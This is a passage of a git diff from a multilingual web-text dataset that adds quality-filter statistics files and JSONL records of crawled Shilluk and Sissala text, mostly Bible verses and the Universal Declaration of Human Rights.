"stopwords_ratio": 0.005, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 3241820.4199999985 + } + }, + { + "75%": { + "num_words": 513.0, + "character_repetition_ratio": 0.048, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.24, + "stopwords_ratio": 0.001, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.999, + "perplexity_score": 1397458.75 + } + }, + { + "50%": { + "num_words": 65.0, + "character_repetition_ratio": 0.0, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.21, + "stopwords_ratio": 0.0, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.998, + "perplexity_score": 857546.2 + } + }, + { + "25%": { + "num_words": 26.0, + "character_repetition_ratio": 0.0, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.183, + "stopwords_ratio": 0.0, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.998, + "perplexity_score": 857546.2 + } + }, + { + "total size": "11027", + "keep size": "9902", + "remove size": "1125" + } +] \ No newline at end of file diff --git a/pnb_Arab/new_cc_000006_stas.jsonl b/pnb_Arab/new_cc_000006_stas.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..10153640b772df559730dc16402fcd056d8e2db9 --- /dev/null +++ b/pnb_Arab/new_cc_000006_stas.jsonl @@ -0,0 +1,115 @@ +[ + { + "avg": { + "num_words": 806.0553462504486, + "character_repetition_ratio": 0.023494079655543593, + "word_repetition_ratio": 0.01002421959095802, + "special_characters_ratio": 0.21652565482597774, + "stopwords_ratio": 0.001607104413347686, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.9911746501614638, + "perplexity_score": 1455913.7247488336 + } + }, + { + "std": { + "num_words": 3157.4878377497257, + "character_repetition_ratio": 0.03295262309148349, + "word_repetition_ratio": 0.04782352802980618, + "special_characters_ratio": 0.03885235554353078, + "stopwords_ratio": 0.004078296293497882, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.04514833519019638, + "perplexity_score": 1495737.8279515759 + } + }, + { + "median": { + "num_words": 50.0, + "character_repetition_ratio": 0.0, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.211, + "stopwords_ratio": 0.0, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.998, + "perplexity_score": 857546.2 + } + }, + { + "max": { + "num_words": 102520.0, + "character_repetition_ratio": 0.4, + "word_repetition_ratio": 1.0, + "special_characters_ratio": 0.533, + "stopwords_ratio": 0.048, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 10063989.7 + } + }, + { + "min": { + "num_words": 21.0, + "character_repetition_ratio": 0.0, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.157, + "stopwords_ratio": 0.0, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.24, + "perplexity_score": 11891.7 + } + }, + { + "90%": { + "num_words": 1782.300000000001, + "character_repetition_ratio": 0.064, + "word_repetition_ratio": 0.015, + "special_characters_ratio": 0.266, + "stopwords_ratio": 0.005, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 3433783.9700000063 + } + }, + { + "75%": { + "num_words": 467.0, + "character_repetition_ratio": 0.045, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.241, + "stopwords_ratio": 0.001, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.999, + "perplexity_score": 1410560.95 + } + }, + { + "50%": { + "num_words": 50.0, + "character_repetition_ratio": 0.0, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.211, + "stopwords_ratio": 0.0, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.998, + "perplexity_score": 857546.2 + } + }, + { + "25%": { + "num_words": 26.0, + "character_repetition_ratio": 0.0, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.183, + "stopwords_ratio": 0.0, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.998, + "perplexity_score": 857546.2 + } + }, + { + "total size": "11148", + "keep size": "10208", + "remove size": "940" + } +] \ No newline at end of file diff --git a/pnb_Arab/new_cc_000007_stas.jsonl b/pnb_Arab/new_cc_000007_stas.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..889c89665b00016812ad574912222e4a3514e545 --- /dev/null +++ b/pnb_Arab/new_cc_000007_stas.jsonl @@ -0,0 +1,115 @@ +[ + { + "avg": { + "num_words": 778.6660199371112, + "character_repetition_ratio": 0.022269418612430588, + "word_repetition_ratio": 0.009981601659195824, + "special_characters_ratio": 0.21562708235766376, + "stopwords_ratio": 0.0014028233090252224, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.9909187796882317, + "perplexity_score": 1315151.7824044959 + } + }, + { + "std": { + "num_words": 2981.620081176459, + "character_repetition_ratio": 0.03186234153151638, + "word_repetition_ratio": 0.04666060736228896, + "special_characters_ratio": 0.03908778639118589, + "stopwords_ratio": 0.0038245071505438964, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.04425003720189553, + "perplexity_score": 1349140.8084886393 + } + }, + { + "median": { + "num_words": 31.0, + "character_repetition_ratio": 0.0, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.203, + "stopwords_ratio": 0.0, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.998, + "perplexity_score": 857546.2 + } + }, + { + "max": { + "num_words": 105499.0, + "character_repetition_ratio": 0.554, + "word_repetition_ratio": 1.0, + "special_characters_ratio": 0.442, + "stopwords_ratio": 0.048, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 10200811.5 + } + }, + { + "min": { + "num_words": 19.0, + "character_repetition_ratio": 0.0, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.167, + "stopwords_ratio": 0.0, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.397, + "perplexity_score": 10361.4 + } + }, + { + "90%": { + "num_words": 1570.3999999999996, + "character_repetition_ratio": 0.063, + "word_repetition_ratio": 0.015399999999999636, + "special_characters_ratio": 0.266, + "stopwords_ratio": 0.004, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 2828813.44 + } + }, + { + "75%": { + "num_words": 409.0, + "character_repetition_ratio": 0.044, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.239, + "stopwords_ratio": 0.001, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.999, + "perplexity_score": 1238026.4 + } + }, + { + "50%": { + "num_words": 31.0, + "character_repetition_ratio": 0.0, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.203, + "stopwords_ratio": 0.0, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.998, + "perplexity_score": 857546.2 + } + }, + { + "25%": { + "num_words": 26.0, + "character_repetition_ratio": 0.0, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.183, + "stopwords_ratio": 0.0, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.998, + "perplexity_score": 857546.2 + } + }, + { + "total size": "14947", + "keep size": "13548", + "remove size": "1399" + } +] \ No newline at end of file diff --git a/rus_Cyrl/new_cc_000778_remove.jsonl b/rus_Cyrl/new_cc_000778_remove.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..d3799100049cbf66d9dd45cc4f02cd8323c0a467 --- /dev/null +++ b/rus_Cyrl/new_cc_000778_remove.jsonl @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:b6971dd196edb236528da11dfaef22e745972a7a8695de02390592412a0d971f +size 1151430496 diff --git a/shk_Latn/fineweb-2_000001_keep.jsonl b/shk_Latn/fineweb-2_000001_keep.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..d001e1d604cc5dd96fb3307d7cbeae6e955ac43f --- /dev/null +++ b/shk_Latn/fineweb-2_000001_keep.jsonl @@ -0,0 +1,3 @@ +{"text":"© 1996 – 2009 The Office of the High Commissioner for Human Rights\nThis HTML version prepared by the UDHR in Unicode project, http:\/\/www.unicode.org\/udhr.\nG.A. res. 217A (III), U.N. Doc A\/810 at 71 (1948)\nKa árum yïëëyii kinni wøri bëëdi dhanhø á dhanhø pere tek, ki kinni gïn-a cwøl á dhanhø pär bëne, o di dwaddø kinni bëëd ji bënn ki kömi piny ki mër, ge gøgg-a dyër, e bong ngan geny,\nKà bëëd wøyi dhanhø nyii känø ki bëëdø me raj, ki liny geki rënyi rumi dhanhø, ka bëën-a di bëëd ji ge køm-a dyër e bong ngan mään kwøbi kej dhøge, o yïëye bëëde á cwagge kete, e dhanhø pa böggi rumø yïëyø kinni bene bëën-a tyer yi ji bënn,\nKà bëëde á gïn pere tek kinni keløg dhanhø odhalø yi räji bëëdø, nyii rumø kinni óyiel-a yi ngänyi wäye kipe kà guud wange, ngan ni menani di ceg ka korrø yi cigg,\nKà bëëde á gïn pere teg kinni bëëd pödhhi kömi piny bënn ki mër, e ri gen ngänyi yi gen,\nKà árum yïëëyii yi Buri Pödhhi Kömi Piny, ka cïb yi gen á Cigg kinni dhanhø bëne pär, o ko mään gïndøj men-a dwdde, má ji ceg bëëdrø ga ji bënn ceth, o ge pär bënn ying ga cwøw walà männ, ge di dwaddø kinni køny gen ki tyenyi bëëdi gen, o ge dönyi gen ge bënn,\nKà árum yïëëyii yi Pödhh-a Yij Buri Kömi Piny, ka ge okööbø kinni ge ógöögø kiper tyëgi møg-a áyïëy yi gen ki gwøgø, kyeel ki Buri Pödhhi Kömi Piny, a løg kønyi dhanhø bëne ki wøri ree, ki korri ji bënn,\nKà örum yodii yii ji kinni gïg-a dwaddi yi dhanhø bëne päär ki kinni bëëd dhanhø wïje, bene gen a per gen teg kiper dhanhø bëne,\nAnan, ki bang møgani bënn,\nBuri Kömi Piny Bëne\nCeg-a cïb ki Gïg-a Dwaddi Kiper Dhanhø bëne ki Kömi Läbø; møgani cïb ga møg mïdhi yi ji bënn ki pödhh bënn; ge ködd-a kömi dhanhø geki tyëng-a bëëd gen ki kej ákyel, bëëd gen ceth ge mïdh-a Møg-a Ácïb ki wädhi gen, ka gïgani pwönyi teedø, kiep kinni o ji dïd gen ki wøri ri gen, o gïgdwaddi møg-a ácïb kipe bëëdi ji ki wädhi gen ge pa böggi mïdhi ki wuödø kì yij pödhø kete ki kelli pödhhi kömi piny, kipe mïdhi døøji burø kì kömi piny bëne, e ji ri gen gänyi yi gen, o ge wør-a ri gen kì yedhi Pödhh-a Yij Buri Kömi Piny, kì kelli tyëng-a bëëdø ki yedhi pinyi pödhhani ge mïdh-a cigg.\nDhanhø bëne ba anywølø e path ki bäng, ge pär ki yij bëëdø geki dyërø. gïn-a dwaddi kiper gen yï gen da rumi ki bëëdø mø göög gen ki pyëw akyel ga nyimëgg.\nDhanhø bëne yïe da cwagge kipe gïn-a dwadde kí bongi bängø men-a ácïb ki yij buri jur bënn, e bong geny, kiri jur wala kïdø wala ki bëëdø á dhajø wala jalø, wala kwøbbi pödhø wala keløg e da rum mø bëën pödhi wun wala tha gøl wun wala jammi wala nywølø ki bëëdø.\nDhanhø bëne dwadd-a nënnì kì kömi läbø, ki bongi bängø ki kori dëële.\nKo di dhanhø me mïdhi wala ngew a bäng Ngyew ki bängg ba akerø ki yëdh-a nyi gøgii bënn.\nDhanhø ko pwöd wala dwany, wala ko göggi ki gïn-a pa nyi göggi dhanhø wala møg-a raj wala ko göggi ki abaarø.\nDhanhø bëne di dwaddø kinni wør á dhanhø ceth ki bøli cigg.\nDhanhø bëne pär ki bøli cigg, o ge dwadd-a bëëdø e bong geny, o bëëd ji bënn ge okorrø yi cigg.\nDhanhø bëne ócuggø kedhi buri pödhø keløg e ogöggø ki raj ki kömi gëë men-a mëggii yi cigg.\nBong dhanhø me mag wala mään wala kyeew kej megø.\nDhanhø bëne bëëde e par ki ji bënn ki bøli burø. Ka gønye lidh kì burø me yije bong geny kì ruj.\n1. Dhanhø men köme di cay bëëd a acwag kinni yïe bär gïti na keny-a ocayii, e cáyani køøl-a kömi cigg.\n2. Bong dhanhø men cuggi cayø kipe gïn-a gwøg yi en wala men-a nuti gwøgø yì en gïtì keny-a o yodì kìnnì cigg mø pödhø wala mø kömi läbø gï pyeem en ki bøli keny-a ocwöb kwøbani. Thyew, ko cay kí cáy mø lod møg-a caayii kì bøli keny-a acwøb rajjani.\nKo di dhanhø me göggi ki raj kì yij bëëde wala gøle wala keny-a bëëde. wala köme ko kööb ki kwøb mø rënyi nyinge. Dhanhø bëne di dwaddø kinni kor yi cigg.\n1. Dhanhø bëne ba ayïëy kinni wele. wlala bëëde ki yij keew pödhø bëne.\n2. Dhanhø bëne ba ayïëy ki dägi pödhø megø. Ócuggø dhwödhø ki pödhi gen, o ócuggø ki dwöögø yije.\n1. Dhanhø bëne ba ayïëy ki yömi pödhø megø keløg wange oguudø ki pödhi gen.\n2. Dyër menani ko mään dhanhø keløg e da guudi nying, kí mød kipe kwøbbi jyägø. wala kipe mø bään ki møg-a ácïb yi Buri Kömi Piny.\n1. Dhanhø bëne yïe da dyër me käbbe kí jïnsïa mi pödhø me path ki pödhi gen.\n2. Bong dhanhø me cuggi määnø ki jïnsia mee ki mi podhø megø.\n1. Dhajø geki jalø møg-a wädhi runni nywöm yï gen da dyërø me nywøm gen ri gen, o ge göög gen ki kal e bong gïn jog gen kiri kwøbbi Jwøk wala købbi jur, nimi ka nywøm gen ri gen, yï gen da dyër kiri nywöm geki täng.\n2. Nywöm dwada cuggø ki kaam dhajø geki jalø e bong cïïr.\n3. Kal áwöni pere teeg ceth ki buri ji, o kor ceth yi burani kì pödhø.\n1. Dhanhø bëne ceg bëëdø á ayïëy kí mïdhø ki jammi, ying gï mïdhe ga møge ket wala møge geki ji møøgø.\n2. Jammi dhanhø ko wöl ki kabø.\nDhanhø bëne yïe da dyërø me rume, ki bëëdø ki kwøbbi Jwøk. O dyërø menani thödha gøn ki teegø me wile kwøbbi Jwøge wala yiëye kete wala geki ji møgø.\nDhanhø bëne yïe da dyërø mi kwøb ki nyudhø ki gïn-ao røm yi en, dyërø menani wëga en yëyø ki rumi ji møgø e bong cïr, ócuggø tïngø ki wödd ki yï ji räädi ki wäjj e bong ngan määnii.\n1. Dhanhø bëne yïe da dyërø me rëbe ki bur møggø ki akudd-a yedhi gïn yïdde mër.\n2. Bong dhanhø me cir kipe o rëbe ki akud megø.\n1. Dhanhø bëne yïe da dyërø me gööge kì yij mïri mi pödhø, keløg e gsøg ki kenyani yood en ka cwagge wala kwa ny-a yi ji møøgø.\n2. Dhanhø bëne yïe da dyër me nimi ngan-a kyeelø o gööge ki käjji gwögg kì yij pödhø.\n3. Yïëyø mi ji en a re kääl yi teegi mïri, ø yiëyani kääl-a bang leeng men-a nyi leeng ji o cugi bëëdø a leeng tïngi cing wala men-a nyi gwed.\nBëëdi dhanhø á ákyel kì kelli tyëng pödhø wang-a kinni, burani ki bang gsøg pödhø ki nywäg kömi läbø geki møg-a nywag, ki tyëny pödhø ki jamm-a nyi nywøl en ki møg-a käni ki ngyëny, ki bëëdø kì kej akyel, ki øddi gwedd møg-a bong kär, ki teegi peri dhanhø ki kunø e bong bäängø kipe dhanhø.\n1. Dhanhø bëne yïe da dyër o gööge; ki gwøng-a dwaddi yi en, ka pödhø kore o bëëdø e bong ngan jad ki gwøg.\n2. Nyi cuddi dhanhø kì köögi men-a kyëëw ki gwøng-a gwøge e bong geny.\n3. Dhanhø bëne men-a göögø yïe da dyërø me cudii ki köögi men rømi kipere kí gøle.\n4. Dhanhø bëne yïe da dyërø me køøgii keny-a órum gwøge á (makäpï) me köme pädhi yi en geki gøle, o köme ócuggø ki kïdhø kipe kinni wange ko cyäni keny-a ódøøg cinge ree.\nDhanhø bëne yïe da dyërø kipe cyäng ywömø ka cuddi ceth keløg e ogöögø ki cyääng ywömø.\n1. Dhanhø bëne yïe da dyërø ki yij bëëdø, kipe kori dëële, ki cwage, ki gøle, gïgcaam, ki ogødh, ki ød, kori rämi dël ki jam døj kipe bëëdø, thyew ki dyër me korii ke bong yïe gwøg, rämi dël nyødhi dël, ki kïjø, ki döng.\n2. Mëgg ki othønhø yï gen da dyër mi kori gen ki kønyi gen, othønhø bënn dwata korø, møg-a nywøl kiri yuu nywöm wala møg-a nywø1 ki yëdhh møøgø.\n1. Dhanhø bëne yïe da dyërø mi dïdø ki gwed ka cugge. Gwed dwatá bëëd e bang gïn col. Ka dwate bëëd a cïr kipe cukø, yiëy nyi gwed wala nyi gwed ki ød gwed men-a ying mal dwatá käl bang pödhø me.\n2. Dïdø dwata bëëdø á men tïng bëëdi dhanhø o wøre dyërø ki bongi bängø kipe lïngi dhøg, ki dwög laaw piny ki kelli teedø ki kelli jur møg-a gënyø, ki tyëng kwøbbi Jwøk møg- a bän, møgani køny-a tyëng buri kömi läbø ki kori mër.\n3. Wëgg yï gen da dyër kipe yeny yöö men-a dïd yi nywølli gen.\n1. Dhanhø bëne yïe da dyërø me nywäge kiri kwöng bëëdi ji ki kunyø kipe dïdø.\n2. Dhanhø bëne yïe da dyër kipe kori köngi ki jamm-a nywø1 yi dïdø.\nBëëd dhanhø e okorø yi cigg møg; gen a cigg-a ácïb ga møg ri gen bëëd yi pödhø kí bëëndøj geki pödhh-a kyeelø e da korri gïg-a dwaddi kipe døøji burø, ki täbbø, ni ka ácïb gen ceth ga møg mïdhi.\n1. Dhanhø bëne yïe da mwøg me dwati gwøgø yi en ki buri ji.\n2. Kiri gwøøg dyër ki bongi bääng, dhanhø bëne dwata bëëd nimi ka dwatii yi cigg, kipe kori yiëyø ki wøri dyër kí bongi bäängø mi ji møøgø.\n3. Dyër møgani kí bongi bäängø, mïdhi gen ceth kí yuu-a dwaddi yi Buri Pödhhi Kömi Piny.\nKi yij nyudhø men, bong gïn cuggi løgø me nëngi pödhø wala ji wala dhanhø ki teegø me gööge kipe rënyi gïg-a ácïb møg ki bongi bäängø mø bään ki møg-a ácïb ki yij wänyø men; a 1øg Møg-a Acïb yi Buri Pödhhi Kömi Piny.","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/unicode.org\/udhr\/d\/udhr_shk.html","date":"2013-05-21T16:13:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368700168711\/warc\/CC-MAIN-20130516102928-00041-ip-10-60-113-184.ec2.internal.warc.gz","language":"shk","language_score":0.9938969016,"language_script":"Latn","minhash_cluster_size":68,"top_langs":"{\"shk_Latn_score\": 0.9938969016075134}","num_words":1618,"character_repetition_ratio":0.079,"word_repetition_ratio":0.0,"special_characters_ratio":0.295,"stopwords_ratio":0.188,"flagged_words_ratio":0.0,"lang_id_score":0.995,"perplexity_score":500.0,"cluster_detection":1} +{"text":"GWØG 12:6\n6 Kì yij wɑ̈r-ɑ bɑnge di kɑ̈ɑ̈l Pïtør bøli teedø yi Ërödøs, Pïtør ɑ́bëëd e onenø kì kɑɑm ɑlɑthker ɑ́ryew, e ómɑgø ki ɑ́cwecwel ɑ́ryew, o tyëng-ɑ kurø ócungø kì dhø ød mɑg, ge kor-ɑ gøn.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/SHKBSS\/Acts\/12\/6","date":"2013-05-22T23:22:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368702454815\/warc\/CC-MAIN-20130516110734-00006-ip-10-60-113-184.ec2.internal.warc.gz","language":"shk","language_score":0.9957960248,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"shk_Latn_score\": 0.9957960247993469}","num_words":55,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.285,"stopwords_ratio":0.164,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":1} +{"text":"17Rïjj-ɑ cɑ̈gi kì ri Abrɑhɑm gïti ri Debïd bɑ pyɑ̈rø wïdɑ́ngwen; o rïjj-ɑ cɑ̈gi kì ri Debïd gïti kɑ ɑ́køøl ji yïnø Bɑbïl bɑ pyɑ̈rø wïdɑ́ngwen; o rïjj-ɑ cɑ̈gi kì ri køøli ji yïnø Bɑbïl gïti ri Mesiy bɑ pyɑ̈rø wïdɑ́ngwen.\nMAT 1:17\nFREE!\nOne App.\n1350 Languages.","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/SHKBSS\/Matt\/1\/17","date":"2014-03-14T19:13:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394678694619\/warc\/CC-MAIN-20140313024454-00087-ip-10-183-142-35.ec2.internal.warc.gz","language":"shk","language_score":0.9928460717,"language_script":"Latn","minhash_cluster_size":31,"top_langs":"{\"shk_Latn_score\": 0.9928460717201233}","num_words":46,"character_repetition_ratio":0.156,"word_repetition_ratio":0.0,"special_characters_ratio":0.29,"stopwords_ratio":0.196,"flagged_words_ratio":0.0,"lang_id_score":0.996,"perplexity_score":500.0,"cluster_detection":1} diff --git a/shk_Latn/fineweb-2_000001_remove.jsonl b/shk_Latn/fineweb-2_000001_remove.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..e69de29bb2d1d6434b8b29ae775ad8c2e48c5391 diff --git a/shk_Latn/fineweb-2_000001_stas.jsonl b/shk_Latn/fineweb-2_000001_stas.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..0a25d9e1cca544df0e7dcb726da2bce7f5074e5e --- /dev/null +++ b/shk_Latn/fineweb-2_000001_stas.jsonl @@ -0,0 +1,115 @@ +[ + { + "avg": { + "num_words": 573.0, + "character_repetition_ratio": 0.07833333333333332, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.29, + "stopwords_ratio": 0.18266666666666667, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.9963333333333333, + "perplexity_score": 500.0 + } + }, + { + "std": { + "num_words": 738.9357211557715, + "character_repetition_ratio": 0.06368847793928052, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.004082482904638634, + "stopwords_ratio": 0.013597385369580758, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.0012472191289246482, + "perplexity_score": 0.0 + } + }, + { + "median": { + "num_words": 55.0, + "character_repetition_ratio": 0.079, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.29, + "stopwords_ratio": 0.188, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.996, + "perplexity_score": 500.0 + } + }, + { + "max": { + "num_words": 1618.0, + "character_repetition_ratio": 0.156, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.295, + "stopwords_ratio": 0.196, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.998, + "perplexity_score": 500.0 + } + }, + { + "min": { + "num_words": 46.0, + "character_repetition_ratio": 0.0, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.285, + "stopwords_ratio": 0.164, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.995, + "perplexity_score": 500.0 + } + }, + { + "90%": { + "num_words": 1305.4, + "character_repetition_ratio": 0.1406, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.294, + "stopwords_ratio": 0.19440000000000002, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.9976, + "perplexity_score": 500.0 + } + }, + { + "75%": { + "num_words": 836.5, + "character_repetition_ratio": 0.1175, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.2925, + "stopwords_ratio": 0.192, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.997, + "perplexity_score": 500.0 + } + }, + { + "50%": { + "num_words": 55.0, + "character_repetition_ratio": 0.079, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.29, + "stopwords_ratio": 0.188, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.996, + "perplexity_score": 500.0 + } + }, + { + "25%": { + "num_words": 50.5, + "character_repetition_ratio": 0.0395, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.2875, + "stopwords_ratio": 0.176, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.9955, + "perplexity_score": 500.0 + } + }, + { + "total size": "3", + "keep size": "3", + "remove size": "0" + } +] \ No newline at end of file diff --git a/sld_Latn/fineweb-2_000001_keep.jsonl b/sld_Latn/fineweb-2_000001_keep.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..805f844c78393b0cde3bb6d05a3012754883e09e --- /dev/null +++ b/sld_Latn/fineweb-2_000001_keep.jsonl @@ -0,0 +1,11 @@ +{"text":"Matie 1:19\n19 Ʋ boŋzoŋ Zɔzɛfɛ ná sɩɛ́ fa ká nɩtaŋá rɛ́. Ʋ wɩ có rʋ́ʋ́ hɩɩ̃sɛ Maari, nɩɛ sɩ́ɛ́ mɛ́, ɛ́ nɛ́ ʋ bɩ́ɩ́nʋ́ tɩɩ mɛ́ rʋ́ʋ́ lʋɔrɛ tɔ́ʋ́.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/SLDTBL\/Matt\/1\/19","date":"2013-05-20T08:31:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368698646863\/warc\/CC-MAIN-20130516100406-00028-ip-10-60-113-184.ec2.internal.warc.gz","language":"sld","language_score":0.9779330492,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sld_Latn_score\": 0.9779330492019653, \"gna_Latn_score\": 0.018954413011670113}","num_words":47,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.252,"stopwords_ratio":0.255,"flagged_words_ratio":0.0,"lang_id_score":0.97,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Wɩ'allɛ 1:18\n18 Zɩdaasɛ há á wɩ́bɔŋ ná ɓa túmú meéwí ná, ʋ pí ɛ́ meéwí a yɔwɛ tíé; ráŋ nɛ́ ʋ lɩɩ ɓal pɩsɛ, ʋ sɩɛrʋ ɓɩɛ wuu lɩɩ pɛ́.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/SLDTBL\/Acts\/1\/18","date":"2013-05-20T09:37:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368698693943\/warc\/CC-MAIN-20130516100453-00074-ip-10-60-113-184.ec2.internal.warc.gz","language":"sld","language_score":0.9768338799,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sld_Latn_score\": 0.9768338799476624, \"gna_Latn_score\": 0.01731155253946781}","num_words":48,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.273,"stopwords_ratio":0.229,"flagged_words_ratio":0.0,"lang_id_score":0.968,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Matie 21:19\n19 Ʋ há ná piro rʋʋ cɩ́ ŋmɛ́nɔ nʋɔ, ɛ́ nɛ́ ʋ mʋ́ pérú, a bel rɩ nɔnɔ toó, paarʋ dʋŋɔ nɛ́. Ɛ́ nɛ́ ʋ bʋl piro ná rɩ́ bʋlɛ́: \"Ɩ báá waá a rɩ́ nɔŋ ná.\" Piro ná de hɩl mʋ́l ná tɩɩ tɩɩ mɛ́.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/SLDTBL\/Matt\/21\/19","date":"2013-06-20T01:58:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368710006682\/warc\/CC-MAIN-20130516131326-00018-ip-10-60-113-184.ec2.internal.warc.gz","language":"sld","language_score":0.9582938552,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sld_Latn_score\": 0.9582938551902771, \"gna_Latn_score\": 0.03895106911659241}","num_words":65,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.288,"stopwords_ratio":0.308,"flagged_words_ratio":0.0,"lang_id_score":0.949,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Wɩ'allɛ 1:13\n13 Ɓa há mʋ́ɛ́ peri Zerizalɛmɛ, ɓa zɩ́ jɩtúko ná ɓa há válɛ́ aá céŋ náŋá ráŋ. Ɓa ɛ́ nɩɛ nɛ́ fa ká: Pɩɛrɛ rɩ́ Zaŋ rɩ́ Zakɛ rɩ́ Aŋdɩrɩ rɩ́ Filipi rɩ́ Toma rɩ́ Bartelemi rɩ́ Matie rɩ́ Alfe bio Zakɛ, rɩ́ kajáŋtɩɩnɔ Sɩmɔŋ arɩ́ Zakɛ bio Ziidi.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/SLDTBL\/Acts\/1\/13","date":"2013-05-23T12:16:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368703306113\/warc\/CC-MAIN-20130516112146-00069-ip-10-60-113-184.ec2.internal.warc.gz","language":"sld","language_score":0.9997594953,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sld_Latn_score\": 0.9997594952583313}","num_words":68,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.241,"stopwords_ratio":0.294,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Ná Zeezi duo nɩɛ: Zeezi naabál nɛ́ ká Davidi; Davidi má naabál nɛ́ ká Abɩrahaŋ. 2 Abɩrahaŋ nɛ́ lʋ́l Ɩzakɛ. Ɩzakɛ lʋl Zakɔbɛ. Zakɔbɛ má lʋl Ziida 